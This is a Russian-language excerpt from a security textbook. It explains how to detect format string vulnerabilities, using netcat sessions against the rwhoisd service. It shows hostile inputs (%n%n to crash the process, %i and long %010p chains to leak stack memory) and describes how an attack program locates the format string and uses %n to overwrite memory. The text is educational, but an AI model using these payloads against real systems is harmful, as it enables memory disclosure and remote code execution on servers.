Тестирование программ способом случайной форматирующей строки

We use cookies. Read the Privacy and Cookie Policy

Тестирование программ способом случайной форматирующей строки

Поместив в исходный текст программы потенциально уязвимую форматирующую строку, продемонстрируем способы ее использования злоумышленником при помощи входных данных программы и изучим реакцию сервера на них.

В большинстве случаев можно создать такие условия работы программы, когда о наличии в программе уязвимости форматирующей строки можно будет судить по ее поведению. Если уязвимая программа выводит отформатированную строку, то наличие в ней уязвимости форматирующей строки очевидно. При отсутствии вывода о присутствии в программе уязвимости форматирующей строки можно судить по реакции программы на различные спецификации форматов.

Если при вводе входных данных со спецификациями преобразования %n%n процесс аварийно завершается, то, вероятнее всего, это происходит из-за нарушения доступа к памяти при попытке записи по неверным адресам памяти, прочитанным из стека. Передав программе, в которой не предусмотрен вывод отформатированной строки, через ее входные данные спецификации форматов %n%n, можно определить, уязвима она или нет. Если процесс аварийно завершается, не возвращает управления или неожиданно завершается, то вполне вероятно, что причиной этого является уязвимость форматирующей строки.

В рассматриваемом примере сервер возвращает клиенту сообщение об ошибке в виде отформатированной строки. Это облегчает действия злоумышленника, который ищет способ проникнуть на хост. В следующем примере приведен образец вызова программы rwhoisd, которая демонстрирует ошибку в форматирующей строке:

[dma@victim server]$ nc localhost 4321

%rwhois V-1.5:003fff:00 victim (by Network Solutions, Inc.

V-1.5.7.1)

-soa am_%i_vulnerable

%error 340 Invalid Authority Area: am_-1073743563_vulnerable

В этом примере причиной вывода сервером отрицательного целого числа -1073743563 является то, что в передаваемой сервису строке содержится спецификация формата %i, на место которой в отформатированную строку записывается содержимое области памяти из стека в формате целого числа со знаком. Функция printf() выводит отрицательное число после обработки содержимого области стека длиной 4 байта, в котором, как она предполагает, хранится целое число со знаком. Тем самым подтверждается наличие уязвимости форматирующей строки в программе rwhoisd.

Уязвимость форматирующей строки можно определить, анализируя исходный текст программы и ее поведение. После этого можно решить, как употребить найденную уязвимость. Уязвимостью форматирующей строки может воспользоваться удаленный сетевой клиент. Для этого аутентификация клиента не нужна, и вполне возможно, что этим сможет воспользоваться злоумышленник, чтобы получить доступ к главному хосту.

В аналогичных случаях, когда программа выводит отформатированную строку, злоумышленник может прочитать содержимое стека памяти и успешно воспользоваться его содержимым. Слова памяти могут быть прочитаны следующим способом:

[dma@victim server]$ nc localhost 4321

%rwhois V-1.5:003fff:00 victim (by Network Solutions, Inc.

V-1.5.7.1)

-soa %010p

%error 340 Invalid Authority Area: 0xbffff935

-soa %010p%010p

%error 340 Invalid Authority Area: 0xbffff9350x0807fa80

-soa %010p%010p%010p

%error 340 Invalid Authority Area:

0xbffff9350x0807fa800x00000001

-soa %010p%010p%010p%010p

%error 340 Invalid Authority Area:

0xbffff9350x0807fa800x000000010x08081cd8

В этом примере клиент восстановил одно, два, три и четыре слова из стека. Программа отформатировала слова таким образом, чтобы их можно было использовать для дальнейшей автоматической обработки. Хорошо написанная программа атаки может воспользоваться приведенной в примере отформатированной строкой для восстановления структуры стека процесса, выполняющегося на сервере. Программа атаки может читать данные из стека до тех пор, пока не найдет в стеке место хранения форматирующей строки, а затем автоматически вычислить в ней нужную программе позицию спецификации преобразования %n. Посмотрите на следующий пример:

%rwhois V-1.5:003fff:00 victim (by Network Solutions, Inc.

V-1.5.7.1)

-soa %010p%010p%010p%010p%010p%010p%010p%010p%010p%010p%010p

%010p%010p%010p%010p%010p%010p%010p%010p%010p%010p%010p%010p%010p

%010p%c%c%c%c%c

%error 340 Invalid Authority Area: 0xbffff9350x0807fa800x000

000010x0807fc300xbffff8f40x0804f21e0xbffff9350xbffff9350xbff

ff90c0x0804a6a30xbffff935(nil)0xbffff9300xbffffb640xbffff920

0x0804eca10xbffff9300xbffff9300x000000040xbffffb300x0804ef4e

0xbffff9300x000000050x616f732d0x31302500 010%p

В рассмотренном примере клиент использует функцию printf() для поиска нужных ему переменных в той части стека, где хранится форматирующая строка. С символов 010%p (они выделены жирным шрифтом) начинается строка клиента, которая содержит обрабатываемые спецификации преобразования. Если бы злоумышленник вставил в начало найденной форматирующей строки клиента адрес и воспользовался спецификацией преобразования %n вместо %c, то адрес в форматирующей строке был переписан.

Данный текст является ознакомительным фрагментом.